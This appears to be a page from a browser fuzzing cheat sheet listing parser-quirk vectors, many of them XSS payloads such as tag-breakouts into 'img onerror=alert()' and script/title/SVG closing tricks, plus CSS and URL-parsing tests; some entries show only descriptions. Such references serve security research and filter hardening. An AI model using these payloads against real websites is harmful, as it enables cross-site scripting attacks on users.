Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 212 vectors with results
<div id=x style="--�:red;color:var(--�)">test</div><div id=x style="---:red;color:var(---)">test</div><div id=x style="--_:red;color:var(--_)">test</div><style>
.x{
font-family:"foo, bar, baz
}.x{color:red;
}
</style>
<div id=x class="x">test</div>
This vector shows which characters create a new selector if there is a dangling CSS string
<style>
.x{
font-family:"foo, bar, baz⟦0C⟧}.x{color:red;
}
</style>
<div id=x class="x">test</div>
This vector shows which characters create a new selector if there is a dangling CSS string
<style>
.x{
font-family:"foo, bar, baz
}.x{color:red;
}
</style>
<div id=x class="x">test</div>
This vector shows which characters create a new selector if there is a dangling CSS string
<style>
.x{
font-family:"foo, bar, baz"}.x{color:red;
}
</style>
<div id=x class="x">test</div>
This vector shows which characters create a new selector if there is a dangling CSS string
<div id=x style="background:⟦09⟧url(/foo)">test</div>
This vector shows which characters are allowed before the CSS url() function.
<div id=x style="background:
url(/foo)">test</div>
This vector shows which characters are allowed before the CSS url() function.
<div id=x style="background:⟦0C⟧url(/foo)">test</div>
This vector shows which characters are allowed before the CSS url() function.
<div id=x style="background:
url(/foo)">test</div>
This vector shows which characters are allowed before the CSS url() function.
<div id=x style="background: url(/foo)">test</div>
This vector shows which characters are allowed before the CSS url() function.
<style>
.x{color:red;}
</style>
<div id=x class="x0x09y">test</div>
This vector shows what each class name can be separated with.
<style>
.x{color:red;}
</style>
<div id=x class="x
y">test</div>
This vector shows what each class name can be separated with.
<style>
.x{color:red;}
</style>
<div id=x class="x0x0Cy">test</div>
This vector shows what each class name can be separated with.
<style>
.x{color:red;}
</style>
<div id=x class="x
y">test</div>
This vector shows what each class name can be separated with.
<style>
.x{color:red;}
</style>
<div id=x class="x y">test</div>
This vector shows what each class name can be separated with.
<script>
a="</script/><img src=data: onerror=alert(47)>"
</script>This vector shows what characters are between the `</script` and `>` while inside script tag
<script>
a="</script0x09><img src=data: onerror=alert(9)>"
</script>This vector shows what characters are between the `</script` and `>` while inside script tag
<script>
a="</script
><img src=data: onerror=alert(10)>"
</script>This vector shows what characters are between the `</script` and `>` while inside script tag
<script>
a="</script0x0C><img src=data: onerror=alert(12)>"
</script>This vector shows what characters are between the `</script` and `>` while inside script tag
<script>
a="</script
><img src=data: onerror=alert(13)>"
</script>This vector shows what characters are between the `</script` and `>` while inside script tag
<a id="user_id" href="https:#blah/../../"></a>These characters make the URI scheme parsing break and return plaintext instead of the parsed URL.
<a id="user_id" href="https:?blah/../../"></a>These characters make the URI scheme parsing break and return plaintext instead of the parsed URL.
<a id="user_id" href="https:�blah/../../"></a>These characters make the URI scheme parsing break and return plaintext instead of the parsed URL.
<a id="user_id" href="https:�blah/../../"></a>These characters make the URI scheme parsing break and return plaintext instead of the parsed URL.
<a id="user_id" href="https:�blah/../../"></a>These characters make the URI scheme parsing break and return plaintext instead of the parsed URL.
<<img src onerror=alert(60)>This XSS vector shows what characters can be used before the onerror event.
<img src onerror=alert(9)0x09style=display:block;content-visibility:auto>This XSS vector shows what characters can be used before the onerror event.
<img src onerror=alert(10)
style=display:block;content-visibility:auto>This XSS vector shows what characters can be used before the onerror event.
<img src onerror=alert(12)0x0Cstyle=display:block;content-visibility:auto>This XSS vector shows what characters can be used before the onerror event.
<img src onerror=alert(13)
style=display:block;content-visibility:auto>This XSS vector shows what characters can be used before the onerror event.
<img src onerror=alert(32) style=display:block;content-visibility:auto>This XSS vector shows what characters can be used before the onerror event.
This XSS vector shows what characters can be used before the onerror event.
This XSS vector shows what characters can be used before the onerror event.
This XSS vector shows what characters can be used before the onerror event.
This XSS vector shows what characters can be used before the onerror event.
This XSS vector shows what characters can be used before the onerror event.
<title>abc</title0x09><img src=x onerror=alert(9)>Characters allowed </title[here]> without breaking the tag from closing.
<title>abc</title
><img src=x onerror=alert(10)><title>abc</title0x0C><img src=x onerror=alert(12)>Characters allowed </title[here]> without breaking the tag from closing.
<title>abc</title
><img src=x onerror=alert(13)>Characters allowed </title[here]> without breaking the tag from closing.
<title>abc</title ><img src=x onerror=alert(32)><svg /><style><!--</style><img src onerror=alert(47)>This vector uses SVG to determine which characters cause a self closing tag.
<svg //><style><!--</style><img src onerror=alert(47)>This vector uses SVG to determine which characters are ignored following the slash. Since SVG allows a self closing tag.
<svg />><style><!--</style><img src onerror=alert(62)>This vector uses SVG to determine which characters are ignored following the slash. Since SVG allows a self closing tag.
if (new URL("javascript0x09://xss.com").host=="xss.com"){alert(9)}want to test if new URL('javascript://xss.com') can still return the hostname on all characters
if (new URL("javascript+://xss.com").host=="xss.com"){alert(43)}want to test if new URL('javascript://xss.com') can still return the hostname on all characters
if (new URL("javascript-://xss.com").host=="xss.com"){alert(45)}want to test if new URL('javascript://xss.com') can still return the hostname on all characters
if (new URL("javascript.://xss.com").host=="xss.com"){alert(46)}want to test if new URL('javascript://xss.com') can still return the hostname on all characters
if (new URL("javascript0://xss.com").host=="xss.com"){alert(48)}want to test if new URL('javascript://xss.com') can still return the hostname on all characters
This vector shows what characters are allowed after a bigint
This vector shows what characters are allowed after a bigint
This vector shows what characters are allowed after a bigint
This vector shows what characters are allowed after a bigint
⟦09⟧x=123⟦09⟧
alert(9)This vector checks which characters are valid syntax before & after an assignment
x=123
alert(10)This vector checks which characters are valid syntax before & after an assignment
0x0Bx=1230x0B
alert(11)This vector checks which characters are valid syntax before & after an assignment
0x0Cx=1230x0C
alert(12)This vector checks which characters are valid syntax before & after an assignment
x=123
alert(13)This vector checks which characters are valid syntax before & after an assignment
This vector shows which characters are allowed after the throw statement.
This vector shows which characters are allowed after the throw statement.
This vector shows which characters are allowed after the throw statement.
const s = String.fromCodePoint(i);
if (!encodeURI(s).includes("%")) alert(i);
const s = String.fromCodePoint(i);
if (escape(s).includes("%")) alert(i);List of all characters that when passed through escape(), will be percent-encoded
const s = String.fromCodePoint(i);
if (encodeURI(s).includes("%")) alert(i);List of all characters that when passed through encodeURI(), will be percent-encoded